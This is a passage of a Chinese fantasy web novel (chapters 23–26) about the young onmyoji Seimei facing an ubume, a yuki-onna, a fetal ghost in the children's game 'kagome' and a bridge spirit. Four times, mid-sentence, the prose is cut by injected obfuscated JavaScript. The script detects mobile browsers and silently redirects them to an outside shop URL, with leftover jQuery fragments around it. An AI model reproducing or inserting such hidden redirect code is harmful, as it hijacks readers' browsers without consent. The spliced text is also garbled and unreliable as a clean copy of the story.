血迹被抹去后没过多久,便有新的血痕从婴儿脸上冒出来,难怪男人会说,这血擦不掉了。 “白天不行,等夜里吧。”晴明把婴儿递还给男人,淡淡地说:“逢魔时分之前,带我去您家里,我替您女儿驱鬼。” 男人一愣,不明白晴明这话的意思:“为什么要等到晚上?” “作祟的多半是姑获鸟。”晴明懒懒地垂下眼眸:“它们喜欢偷走婴儿,会在前一夜把自己的血化作咒滴在婴儿身上,等到第二天夜里便会叼走这个孩子。” “必须等到今夜姑获鸟过来才行,否则,我虽然可以除去这孩子身上的咒,但终究不是治本的方法。” 23.第二十三章:姑获鸟 姑获鸟是死去产妇的魂魄所化成的妖怪,因失去腹中的孩子而怨念难平,故有偷窃婴儿自己抚养的恶习。 本性非恶但行恶事,所以姑获鸟经常被人们划归到恶灵之列。 姑获鸟披上羽毛则为飞鸟,鸣叫时音似“姑获”,故称姑获鸟。除去羽毛则化作女人,而化成人形的姑获鸟也被称作“产女”。 这一次被姑获鸟当作目标的是日野家的小女儿,晴明和樱应女婴的父亲日野雄之邀,黄昏之时到了日野宅。 在男主人日野雄的陪同下,晴明先去女婴惯常睡的屋子里看了看,再次检查了一下婴儿脸上的血迹,沉吟一下,问:“这个孩子平时都是一个人睡吗?” “我的大女儿凉子和她一起睡,昨晚也是她说听见了鸟叫。”日野雄解释说。 晴明微微点了点头,说:“您的大女儿现在在哪?我有话想问她。” “凉子她和我妻子一起呆在房里,我去叫她。”日野雄说着,急匆匆去了。 他的妻子一向体弱,时常生病,行动起居都需要人照料,这项工作便很自然地落到了他的大女儿身上。 很快,日野雄便带着一个与晴明年纪相仿的女孩子回来,想来这就是日野凉子了。 “晴明大人。”日野凉子鞠躬行了礼,好奇地打量穿着一身月白色狩衣的晴明。 因为要照顾母亲和妹妹,凉子很少出门,也几乎没有见过与她年龄相仿的男孩子,更何况这个男孩子身上还穿着象征阴阳师身份的狩衣。 这当然很容易让人产生好奇。 晴明同样躬身还了礼,然后说:“昨晚你听到了鸟的叫声?可以把当时的情况跟我讲一下吗?” 凉子点了点头,说:“不过也没多少可讲的,我只是模模糊糊听到了一点,当时以为是梦,就没有起来看。” “然后今天早上,我就看到了妹妹脸上的血。”凉子指了指女婴睡着的地方,很是自责:“如果我昨晚不睡得那么沉,那就不会发生这样的事了。” 晴明摇头道:“姑获鸟是妖怪,哪里是你拦得住的。” 晴明没再多说,因为这件事情有点奇怪。 第一,姑获鸟的习惯是在幼童的衣服上滴血而不是在脸上;第二,姑获鸟所滴下的血是既洗不净也擦不掉的,根本不会出现这种“擦掉又重新渗出血来”的情况。 晴明总觉得那血不像是姑获鸟滴上去的,倒像是从女婴身体里流出来的血。 至于为什么会出现这样的情况,晴明也想不通,不过今夜很快就会见分晓了。 “日野大人,今晚请把这孩子抱到其他房间里睡,最好是从前没人住过的房间,然后请您不要睡着,彻夜守着这孩子。”晴明伸手在婴儿脸上血迹处抹了抹,手指尖沾了些血,又念了句咒阻止血重新渗出,转身向凉子礼貌地一鞠躬,道声:“冒犯了。”然后把血点在了凉子侧脸。 凉子只觉脸上一热,下意识地往后一退,差点撞翻了桌子。 晴明眼明手快,连忙扶住凉子,温声道:“小心。” “晴明大人,您这是……”日野雄一边抱起婴儿,一边狐疑地皱了皱眉头。 “这是为了保护您的小女儿。”晴明解释说:“我把她脸上的血咒转移到了您的大女儿身上,这样一来,她就不会有被姑获鸟带走的危险了。” “可是凉子……” 晴明微微一笑:“这您不必担心,姑获鸟无论如何也抓不走她的。更何况我和我的侍女都会在这里和她一起守着。” “你要和凉子单独呆在房间里?”日野雄皱起了眉头,很不喜欢晴明的安排。 晴明自然听得懂日野雄这话的意思,便又一鞠躬,道:“我是阴阳师,不是趁人之危的宵小之徒,我并没有其他的图谋,只不过是需要您的大女儿代替婴儿做引诱姑获鸟的诱饵。” 日野雄朝紧跟在晴明身边的樱抬了抬下巴,问:“她不能当诱饵吗?” “不可以。”晴明解释道:“姑获鸟的目标是您的女儿,而替代者最好也同样是您的血亲,否则恐怕会被识破的。” 日野雄紧紧皱着眉头,还是不愿意答应晴明的要求。 不过也没有其他办法了。 日野雄阴沉着脸,把小女儿抱到了隔壁,这样若是真的出了什么事,他至少可以及时察觉到。 “得罪了。”晴明朝凉子点了点头,自己主动挪到了门边,盘膝坐下,与凉子保持着一段不远不近的距离。 “我才应该说,我妹妹的事就拜托您了,晴明大人。”凉子也在榻榻米上坐了下来。 “分内之事而已。”晴明淡淡地说:“如果你困了就睡下,不用担心姑获鸟,我和樱替你守着。” “虽然你这样说,但是这个时候怎么可能睡得着嘛。”凉子微微笑了笑:“我还是第一次碰见这样的事呢,虽然常常听妈妈讲妖怪的故事,但我一直以为那些只是传说。” “不是的,很多时候,妖怪就藏在你们身边,只是你们看不到罢了。” 凉子故意打了个寒噤,笑道:“真吓人啊,那你帮我看看,这里现在有妖怪吗?” 晴明偏过头看了看始终跟在他身边的樱,也笑了起来。 有,而且就在你面前。 这话晴明没说出来,怕吓着了她。 或许是凉子常年闷在家里的缘故,她十分开朗健谈,两人聊了很久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16524876|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极为投缘。 不知什么时候,门外骤然传来一声鸟鸣,听来颇有几分悲切。 “来了。”晴明低声道,同时飞快地站起了身,几张符咒不知何时出现在了他手指间。 樱也目光锐利地盯住了紧闭的房门,看样子就要上前,却被晴明拦住,低声斥道:“退后!” 樱眨了眨眼睛,不打算理会晴明的命令,凉子却在这个时候一把抓住了樱的手腕,把她拽到了后面。 房门被骤然撞开,一只庞大的怪鸟扑棱着翅膀一头撞了进来。 那只怪鸟模样似人非人,似鸟又非鸟,只有上半身覆盖着杂乱的羽毛,下半身则是两条光裸的人腿,而且似乎它身体的中下部一直在流血,暗红色的浓稠的血液不断顺着腿流下来,滴落到地面的榻榻米上。 晴明皱了皱眉头,虽然这早已不是他第一次见到姑获鸟,但每次姑获鸟的出现都会让他感到极其不适。 抛开其他的不论,只是这股腥臭的血腥味就足够令人作呕了。 姑获鸟转着眼珠四处扫视一圈,很快锁定了目标,跌跌撞撞地扇动着翅膀,直扑躲在角落瑟瑟发抖的凉子! “离她远点!”晴明怒道,同时口中念念有词,符咒自动飞起,追踪姑获鸟而去。 符咒上绘有桔梗印,妖鬼一旦被锁定就绝难逃脱,但是让晴明没想到的是,姑获鸟竟然全然不顾自己的身体是否被符咒灼伤,依然挣扎着扑过去抱住了凉子。 樱站在一旁冷眼旁观,她不懂这个时候应该去救人,在她的概念当中,只有晴明是她需要保护的人。 晴明倒是没慌,横竖以姑获鸟的力气,是不可能掳走一个十五六岁的人的。 而且姑获鸟身上中了他的符咒,它跑不远的。 凉子被姑获鸟紧紧抱在怀里,被它身上腥臭的血腥味熏得喘不过气来,全身又都被吓软了,使不上力气来推开姑获鸟。 头脑一片空白之际,她好像听见了一阵呜呜咽咽的声音。 是姑获鸟,它居然在哭。 它伸出覆盖着灰黑色羽毛的手,轻柔地摸着凉子的脸,同时大滴大滴的眼泪从它眼眶里滚了出 来。 它说:“我的孩子,我的孩子……” 不知为什么,这个声音让凉子感到很熟悉。 “另一个孩子……另一个孩子在哪儿?我要带我的孩子走……”姑获鸟一边哭着,一边挣扎着爬起来,似乎还想飞起来去找另一个孩子,但它的身体已经被晴明的符咒灼伤,妖力也尽数被夺去,身上的羽毛几乎都已褪去了。 凉子这时才敢去看姑获鸟的脸,这一看顿时大惊失色。 “母亲……?” 24.第二十四章:雪女 听了凉子脱口而出的一句“母亲”,晴明叹了一声,像是已经猜到了什么,他走上前,小心地把“姑获鸟”身上的符咒撕去了。 如果他没有想错的话,凉子的母亲,应是在生下第二个孩子之前就已经死了,魂魄化成了眼前这只姑获鸟。 “姑获鸟”此时已经完全褪去了羽毛,变成一个浑身赤裸的女人,下半身沾满了暗红色的污血。 晴明不敢多看,移开目光,把自己狩衣的外袍脱了下来,盖在女人身上。 姑获鸟,死去产妇的魂魄所化,一生都在哀啼着寻找自己死去的孩子。 它既是偷走婴儿的恶灵,也是失去了孩子的可怜的母亲。 善恶要怎样决断呢? “凉子!”日野雄忽然闯了进来,晴明骤然一惊,本想阻拦他进门,可是晚了,日野雄已经看到了他不人不鬼的妻子。 “……”晴明很有眼色地退到了一边,这里已经没有他什么事了。 “你别……不要看我。”倒在地上的女人用手臂遮住了脸,哀求道:“我已经不是你认识的那个人了。” “你把我的孩子给我,她不该出生在这个世上的。”女人挣扎着朝日野雄伸出手:“而我也是不该存在于此世的人,让我把她带走吧。” 日野雄抿了抿嘴唇,在女人身边跪坐下来,不顾她身上的污血,把妻子抱在了怀里。 “我知道的。” “你说什么?”女人愣住了。 “从你带着这个孩子回来的时候,我就知道了。”日野雄温柔地替妻子理了理凌乱的头发,继续说:“我怎么会不知道呢?当初你的葬仪是我来办的,当然知道你已经……”日野雄没提那个残忍的字眼。 “那你为什么还……”女人怔愣地睁大了眼睛。 “你能回来,我当然很高兴,又怎么会再赶你走呢?”日野雄笑了笑,说:“就当是做了场噩梦,梦见你走了,等醒过来,你还在我身边,这不是很好吗?” 女人伏在日野雄怀里,嚎哭起来。 凉子站在一旁不知所措。 她记得她的妹妹出生之前,父亲以“回去陪陪奶奶为由”,把她送到奶奶家里住了一段时间,等她再次回到家里的时候,妹妹就已经出生了。 当时她也觉得奇怪,但她无论如何都想不到竟然还有这样的隐情。 想来,父亲送她去奶奶那里的时候,母亲恐怕就已经…… 只是瞒着她,不想让她知道而已。 凉子对这种事完全没有任何经验,不知道她从此该如何面对自己的母亲。 女人抽泣着,终于说出了她死后的经历。 她因难产而死,死在一个严寒的冬季。 平安京盛行风葬,也就是把死去的人的身体放置在山林之中,归还于天地,人们相信这样可以给死者以真正的安宁。 她死了,却又在山中苏醒过来,只不过,苏醒过来的既是她,也是泣血的姑获鸟。 她失去了她的孩子,却又挂念丈夫和长女,她想离开山林回到平安京,但又担心另一个自己的本性。 山中的精怪不止她一个,那里还住着另一个妖鬼,也是个女人,她是雪女。 雪女是个冰冷的女人,皮肤像冰雪一样苍白,无论春秋冬夏,她身上永远带着寒气。 雪女有时候会去附近的村庄引诱心志不坚的男子,如果有人中了她的圈套,她就会把那个男人冻成冰块。 姑获鸟很不喜欢雪女,在她看来,雪女品行极其不端,但是无奈这座山里只有她们两个妖鬼居住,所以即使姑获鸟很不情愿,她们两个还是渐渐熟悉了起来。 不过雪女从来不向姑获鸟解释她的死因。 但这也是很正常的事,谁会愿意回忆自己的死亡呢? 雪女很喜欢去找姑获鸟聊天,而且在她杀了人之后,她的谈兴总是很浓。这让姑获鸟感觉很不舒服,好像每一次看到雪女,都是在见证另一场死亡。 后来有一天,姑获鸟终于忍不住,对雪女讲述了她对丈夫的想念。 雪女沉默了很久,然后对她说:“也许你会失望的,那些男人,没有一个是好东西。” 姑获鸟性子一向平和,但这一次,她向雪女发了火。 雪女用自己的身体去引诱男人,却又去责怪男人禁不住诱惑? 没有这样的道理。 她们不欢而散。 姑获鸟以为雪女不会再来找她,但是没过几天,雪女竟然抱着一个孩子又来了。 那孩子显然不是人类,因为它像是脱水了一般皱缩着,还没有成年人的手掌大,在雪女怀里安静地睡着。 “这是你的孩子?”姑获鸟努力按捺着想把孩子抢过来的本性,问道。 雪女的脸色有点不好,她闭了闭眼睛,把孩子塞到姑获鸟手里:“你别管了,你就把她当成你的孩子生下来,带她下山去吧,说不定有用呢?” 姑获鸟愣了半晌,才明白雪女是想让她带这个孩子回平安京,用这个孩子来抑制她偷盗婴儿的本性。 “可是……” “别可是了!”雪女粗鲁地伸手按住姑获鸟的小腹,低声不知说了句什么话,姑获鸟的肚子便鼓了起来,而那个孩子则消失了。 “鬼胎不一会儿就能生下来,生完之后赶紧滚,我不想看见你。没出息的,离了自己男人就不行,我呸。”雪女啐了姑获鸟一口,转身走了。 而在姑获鸟看不见的地方,雪女喃喃自语道:“希望你不要后悔才好,毕竟男人没有一个是好东西。” “不过也没关系,大不了我再冻死一个人,然后把这个傻女人带回来。”雪女走进储藏她的猎物的山洞,意兴阑珊地坐在洞口,尖指甲慢悠悠刮擦着一具冰尸,发出刺耳的声响。 这之后的事,就不用多说了,姑获鸟带着雪女交给她的孩子,回到了丈夫和女儿身边,起初,雪女的办法还算管用,但是渐渐地,她发觉她开始控制不住自己了。 每到夜里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16538091|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她都会披上羽毛离开家,在平安京里搜寻。 当然是在找合适的孩子。 所以她趁着自己还有能力自控的时候,把血滴在了那个不知是人是鬼的孩子身上。 她必须把这个不该存在的孩子带走。 而因为这个孩子并非人类,又曾在她腹中生长过,吸收了她的血,二者一体同源,所以滴血之后的反应与寻常的孩子不同。 “你让我和孩子走吧,我留在这里,迟早会伤害其他人的。”女人抓着日野雄胸前的衣服,恳求道。 “……”日野雄既不想妻子成为偷盗婴儿的恶鬼,也不愿应允妻子离开,他把希望寄托在了晴明身上。 “晴明大人!您有办法……” 日野雄的话还没说完,晴明就摇了摇头,阴阳术并不是无所不能的,如果他有办法,那他的父亲安倍益材也就不会死了。 “没办法的,别为难阴阳师大人了。”女人温婉地笑,不过这笑容很难看:“我可以带着这个孩子回山里找雪女,如果你还愿意见我的话,就去山里找我吧。” 日野雄连连摇头,但他一时间也想不出任何解决的办法。 骤然,一阵冰冷的风刮过,冰寒彻骨! 整个屋子都仿佛一瞬间变成了冰天雪地。 一个面容苍白如雪的女人凭空出现在了屋子里,她朝日野雄那边望了望,惨笑一声:“原来这世上还是有痴情的男人存在的,只是我没有遇到罢了。” 雪女! 她竟然无声无息地进了这座宅子,连晴明都没有预先发觉她的存在! “你要做什么!”晴明连忙把符咒捏在了手里,如临大敌。 而樱也下意识地又挡在了晴明前面。 雪女斜睨着晴明,声音冷冷的,和她的皮肤一样,没什么温度:“你的把戏对我没用,小阴阳师。” 连雪女自己都不知道,她作为妖怪,究竟存在了多少年,但储藏在山洞里的上千具冰尸或许可以帮她计算一下时间。 雪女轻盈地走到女人身边,伸出冰冷的手指抚摸着女人的脸:“你比我运气好,我的命给你,替我活在这世上吧。” “像我这样的怪物,才不该存活于世。”雪女的手指一接触到女人的脸便融化成了水,她的身体好像真的是由冰雪所构成的一般。 从手指伊始,不过是几次呼吸的功夫,雪女便全部融化了,纯净的雪水涤净了污血,而那个婴儿也一起化成了水。 “我……”女人不敢相信地看着自己恢复了正常的身体,说不出话来。 晴明则心下了然,不由得又叹一声。 传说雪女怀着一颗与她的身体一般冰冷的心,但如果有人可以融化她的心的话,她的身体便会一同融化成水,而雪女则将以人类的身份重获新生。 这对雪女来说当然是极其难得的机会,她却把这样的好事让给了旁人。 她是怎样想的呢? 可惜他永远也不可能知道了。 25.第二十五章:笼中鸟 晴明有些急了。 因为卢屋道满近日来一直没有什么动静,而星象却显示平安京的浩劫将近。 晴明开始怀疑起自己和贺茂忠行的判断。 或许这场灾难根本就与卢屋道满无关呢? 或许星象出现异常和卢屋道满来到平安京这两件事日期相近只是一个巧合呢? 他不该这样孤注一掷的,万一最后真的事与愿违,那又该怎么办呢? 晴明想去找贺茂忠行再谈谈这件事情,却发现贺茂宅大门紧锁,不知道他们两人去了哪儿,晴明只得悻悻而返。 姑获鸟的事情过去之后不久,又有客人造访安倍宅,而且难得是个熟人。 日野凉子。 她穿着繁复的十二单衣,因着天热,微微有些气喘。 但或许是不常出门的缘故,她表现得很是兴高采烈。 晴明上一次见到日野凉子的时候是在夜里上了灯之后,对她的印象不是很深刻,但这一次再见,晴明才发觉,凉子的模样生得很清秀,眉眼弯弯,未语先笑。 “你家里……又遇见鬼了?”这是晴明所能想到的,唯一一个凉子来拜访的理由。 凉子显然被晴明这话噎住了,而且似乎是想起了什么不好的回忆,她的脸色白了白。 即使并不介意自己的母亲曾经是姑获鸟,但姑获鸟浑身赤裸、流血不止的那副尊容却不是任何人都能轻易接受的。 晴明很快意识到自己说错了话,但一时也想不出该怎样补救。 他从五岁时被贺茂忠行带走时起,就几乎很少见到他的同龄人,更罔论是和他年纪相仿的女孩子。 他有过无数与妖鬼周旋的经验,但唯独不知道该怎样与人类相处。 几乎没有人愿意和阴阳师扯上太多关联,除非他们是如藤原兼家一般的有利所图。 但如今卢屋道满得势,贵族们都在抢着巴结卢屋道满,当然不会有人把目光放在安倍晴明这一个十四五岁的孩子身上。 因此,除了来找他占卜驱鬼的人之外,安倍宅几乎无人问津。 所以晴明才会在见到凉子的时候,问出那样一句话。 凉子毕竟年纪大些,又因从小照顾母亲和妹妹而比同龄人成熟不少,很快调整好了情绪,笑问晴明道:“要不要出去走走?” 因为雪女,凉子的母亲才得以恢复人身,身体也好了许多,不再需要人照顾,而凉子的“妹妹”随着雪女一起融化,凉子终于不用整天被迫呆在家里了。 晴明因凉子的话而微微一怔,从来没有人像个朋友似的邀请他出去,贺茂保宪永远表现得像个合格的师兄一般沉稳,而明美……在她死去之前,她从未离开过这座宅院。 “晴明大人?”凉子见晴明没反应,她又问了一遍。 “抱歉,刚刚走神了——我们走吧”晴明回过神来,很礼貌地道歉,然后回头去喊樱:“樱,你也一起。” 晴明没注意到,就在他叫樱陪他们一起走的时候,凉子的脸色一下子变得不太好看了。 不过凉子也不是无理取闹的人,没道理要求晴明不准带上樱,但是难免审视地多看了樱几眼。 樱对此毫无觉察,或者说是察觉到了也不在意,她一向只关注晴明一个人而已。 凉子下意识地拿自己和樱相比较,结果越比越是自惭形秽,樱的身姿高挑挺拔,像一柄出鞘的剑,脸蛋又比她漂亮很多,模样总是冷冷的,很有几分冰霜美人的气韵。 无论是从哪方面来看,樱都是个稀世的美人,怪不得晴明要整天把樱带在身边了。凉子半是艳羡,半是气恼地想着。 连凉子自己也不知道她为什么会突然把自己与一个无关的人相比较,也不知道自己为什么会妒忌晴明身边的人,她只知道自己现在不是很愿意见到樱跟在晴明身边的情景。 而晴明则没有凉子这么多的顾虑,他走在凉子身边,绞尽脑汁地想开启一个合适的话题。 明明上一次聊得很愉快,气氛没有这么尴尬的,但今天不知怎么,凉子陷入了沉默,而他更不擅长寻找话题。 最后,晴明也只问出了一句:“你母亲最近怎么样了?” 凉子答:“好很多了。” 然后这个话题宣告终结,重新回到了一开始的尴尬气氛当中。 凉子心不在焉地走着,不时偷眼瞄着樱,猜测着樱和晴明之间的关系,好奇和不知何时而生的嫉妒占据了她的心。 他们从一群玩耍的幼童身边走过,但没走出多远,晴明忽然停住了脚步,眉头皱起,转回身朝那几个孩子的方向张望。 凉子总算是从她的沉思中醒转过来,顺着晴明的目光望过去。 一个五六岁的、蒙着眼睛的孩子蹲坐地上,他身边还有十几个同样年纪的孩子手拉手围成一圈,一边唱着走了调的歌子,一边慢慢转着圈儿。 凉子一看便笑了,说:“这是‘笼中鸟’呀,你小时候没玩过吗?” “笼中鸟?”晴明倒真的是第一次听见这个名字,因为他自幼便能见鬼的缘故,很少有孩子愿意跟他一起玩,所以他对这种游戏毫无经验也就不足为怪了。 “就是这个嘛。”凉子说着便唱了起来:“笼子缝,笼子缝。笼子中的鸟儿,无时无刻都想要跑来。就在那黎明前的夜晚,鹤与龟滑倒了。背后面对你的是谁?” 凉子的声音很好听,清澈悦耳,尤其是在不远处儿童的歌声的映衬下。 晴明却皱起了眉头,脸色很不好看,他盯着那些孩子,问凉子道:“这个游戏是怎么玩的?” “嗯?这个嘛……”凉子回忆了一下,说:“就是蹲在中间的人当鬼,其他人围着他,边走边唱歌,等这首歌唱完之后,‘鬼’必须要猜出站在他身后的人的名字。” “如果猜错了,那‘鬼’继续做‘鬼’,如果他猜对了,那就由他身后的那个人来接替‘鬼’的身份。” “接替……”晴明喃喃着:“是这样吗?” 此时,孩子们已经唱完了那首歌谣,不知蹲在中间的那个孩子说了什么,然后扯开蒙住眼睛的布回头去看,然后指着他身后的人大笑起来,显然是刚才猜中了。 他身后的孩子垂头丧气地接过蒙眼的布条,扎好了蹲下来。 于是游戏又开始了第二轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543244|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你如果好奇的话,就过去和他们一起玩啊。”凉子这话原本是开玩笑的,没想到晴明竟当真大步走向了那群孩子。 不过晴明并没有加入他们,他只是走到了近处,皱着眉头注视着那群孩子。 凉子急忙跟过去,晴明一抬手把她拦在了身后:“别靠太近,小心一点。” “到底怎么了?”凉子意识到了晴明态度不对劲,小声问道。 晴明的脸色有些冷:“如果蹲在中间扮演鬼的那个人真的是鬼,那会怎么样?” “你的意思是……”凉子瞪大了眼睛。 晴明没再解释,食指和中指并在一处,在凉子眼眸处一划,低声念了一句:“开心眼,变见鬼。” 凉子只觉眼睛一凉,好像一股阴冷的风渗进了眼睛里似的,没等她反应过来这是怎么回事,就见那群唱着歌谣的孩子中间忽然多了一个人。 不过这样说也不是很恰当,因为那些孩子是手拉着手,如果要忽然多出一个人的话,那就代表原来必然需要有一个空位来安置这个多出来的孩子,但是实际上这个空位并不存在。 那也就是说,那个“多出来的孩子”其实一直都混在孩子们中间,只不过因为某种原因,凉子一直注意不到他。 而晴明的手指在凉子眼前划过之后,凉子就忽然看到了,那个与众不同的孩子。 他浑身血红,像是沾了满身鲜血,模样看起来像是个婴儿,但比婴儿大得多,他站在那里,竟然高度与身边的五六岁孩子差不多! 这是个什么东西?凉子骇得退了一步。 “看见了?”晴明低声问。 “我怎么会突然……”凉子不敢再看,目光却总是不自觉地瞟过去。 “我暂时打开了你的心眼,人如果要想看到这种能力低微的鬼,就必须要借助心眼。”晴明淡淡地解释了一句,继续盯着那群孩子看,更确切地说,是盯着孩子中间那个身躯庞大的血红色婴儿看。 “这……我……”凉子张口结舌。 “那个到底是什么东西?”凉子很想落荒而逃,但是看见晴明身后态度冷淡的樱,她又莫名其妙地较上了劲,强迫自己冷静。 “是婴灵,也就是胎死腹中的孩子。”晴明低声说:“怨念不深,对人类无害,小孩子心性,很贪玩而已。” 大家在玩游戏的时候,偶尔会不知不觉地发现身边好像多了一个或几个人,但是谁也说不清那多出来的人是谁,这便是婴灵在作怪了,它可以混淆人们的视听,很自然地出现在孩子们中间。 不过说到底,它也只是天性贪玩,对小孩子的游戏感到好奇而已。 “如果是其他的游戏倒也罢了,‘笼中鸟’……”晴明始终关注着那个婴灵,喃喃着:“我感觉不太好。” 在“笼中鸟”这个游戏当中,“鬼”的身份是可以替代的,这就是晴明直觉不妙的来源。 此时,游戏已经再次结束了一轮,这一次,不知道是不是巧合,可怖的婴灵刚好站在了扮演“鬼”的孩子身后,而且它的名字又被猜中了。 婴灵接过蒙眼的布,咧开嘴,笑了。 26.第二十六章:桥姬 晴明皱着眉头,默默注视着那群完全没有发觉同伴不对劲、仍然手拉着手、高兴地唱着歌的孩子。 笼子缝,笼子缝。 笼子中的鸟儿,无时无刻都想要跑来。 就在那黎明前的夜晚,鹤与龟滑倒了。 背后面对你的, 是谁? 此时在凉子耳中,幼时熟悉的童谣也变得诡异可怖了起来,她不自觉地躲到了晴明身后,身子微微发起颤来。 晴明的年纪比她还小些,但不知为何,很能给人以安全感。 晴明没注意到凉子的恐惧,在童谣将要唱完之际,他快步上前,自己站到了婴灵身后的位置上。 歌谣戛然而止。 十数双黑白分明的眼睛沉默地望着晴明。 晴明打断了这场游戏,但竟然没有任何一个人提出异议,也没有任何一个人再出声,就好像他们都是傀儡师手中的提线木偶一般。 婴灵不安地左右摆动着脑袋,不过它竟然还很遵守游戏规则,没有取下遮眼的布条。 “我叫贺茂寺明,未经邀请,擅自加入了你的游戏。”晴明有意说了个假名字,他的脸色很不好看,着重强调了“你的”两字。 “贺茂……寺明?”婴灵的声音又尖又细,像极了婴儿的嚎哭。 它重复着晴明随口编的假名字,同时慢慢转过身,摘下了蒙眼的布。 一双全黑的眼睛盯住了晴明的脸。 婴灵的眼睛没有眼白,看起来就像两个漆黑的洞镶嵌在了一大团血红色的肉上面,被这样的东西注视着,也亏得晴明还能冷静得下来。 “我猜到了,我,猜到了。”婴灵缓缓地重复着它的话,咯咯地笑了起来,它把布条塞到晴明手里:“贺茂寺明,轮到你了。” 轮到你了,轮到你来做鬼了。 区区四个字,其背后的含义就叫人不寒而栗。 “晴……”凉子压低声音想叫晴明回来,然而她发现自己不知为何竟然想不起晴明的名字,最后脱口而出的,却是晴明刚刚编造的假名:“寺明!” 晴明没回头,摆了摆手示意自己没事,然后把布条缚在了自己的眼睛上,往前跨了一步走到孩子们中间,盘膝坐了下来。 就在晴明坐好之后,孩子们便又唱起了那首童谣,好像对晴明的突然出现没有任何疑问。 布条的遮光能力很强,几乎完全剥夺了晴明的视觉,晴明安静地坐在黑暗中,孩子们杂乱的歌声在他耳中渐渐混成了一个:婴灵尖锐刺耳的声音。 它似乎很高兴,咯咯地笑着,边笑边唱着那首古老的童谣。 笼子缝,笼子缝。 笼子中的鸟儿,无时无刻都想要跑来。 就在那黎明前的夜晚,鹤与龟滑倒了。 背后面对你的, 是谁? 晴明忽然想,为什么是鹤与龟呢? 鹤与龟都是代表着祥瑞和长寿的动物,可是滑倒,又代表了什么呢? 这个念头在晴明心中一闪而过,因为童谣已经到了尾声,他该去猜身后的人是谁了。 晴明根本不知道任何一个孩子的名字,自然也就无从猜起,他也不慌,依旧静静地坐着,更不去碰蒙住自己眼睛的布。 不知过了多久,在晴明的耐心即将磨尽之前,婴灵先忍不住了。 “贺茂寺明,你怎么不猜呀?”一个又尖又细的声音在晴明耳边响起,晴明下意识地侧了侧脑袋。 虽然不是很愿意承认,但晴明确实被婴灵吓出了一身冷汗,不过他面上丝毫不显,依然还是冷冷淡淡的样子。 “不想猜,不想玩了。”晴明冷冷地说:“不如你和我说说,费这么大周章,到底是想做什么?” 他原以为这是一个可以将人与鬼阴阳交换的咒术,所以才要中途打断并加入这场游戏,一来是防止无辜的孩子接替婴灵变成鬼,二来也是为了更方便破解这个咒印。 但是方才,晴明却根本没有在这个游戏中,找到任何咒的存在。 如果不是晴明的能力出现了问题的话,那就只剩下一个解释了,那就是:这个游戏其实只是普通的“笼中鸟”而已,并不是婴灵为了复生而设下的咒印。 可是这些孩子明明是受人所控,如果要说这里没有阴谋的话,晴明一点儿也不相信。 谁会这样大费周折,只为了找来一群孩子陪着一个婴灵玩游戏呢? 因此晴明才会有这一问。 婴灵眨了两下眼睛,好像没听懂晴明的话似的,只听明白了晴明不想跟它玩,于是嚎啕大哭起来。 “……” 若是寻常的孩子哭了,晴明或许还会有哄一哄的欲望,不过这个婴灵嘛…… 晴明能忍到现在,还没有用符咒送它往生已经很不容易了。 婴灵显然智力较为低下,没办法正常沟通,晴明正一筹莫展之际,忽然眼前景物一变,身边的房屋、幼童全部消失了,他正站在一座桥头上。 桥? 晴明忙环顾四周,发现婴灵虽然也不见了,但樱和凉子还在,她们两人站在桥下,凉子满面惊惧,一见了他就好像找到了主心骨,想都不想就要上桥。 “站着别动!”晴明忙厉声喝道,他生怕凉子不听话,又冲樱喊道:“看住她,别让她到桥上来!” 就在这时,晴明忽然影影绰绰地听到了一个陌生的女人的声音,断断续续,声音仿佛极远,又仿佛是极近的。 “贺茂……寺明……”她叫着晴明的假名字,晴明不由得庆幸自己刚才告知给婴灵的是个假名,不然,后果恐怕不堪设想。 任何一个略通阴阳术的人都知道,名字便是最简单的咒,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548439|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被同样通晓咒术的人掌握了自己的真名,那么任何事情都有可能发生。 晴明慢慢走到了桥边,扶栏向下望去。 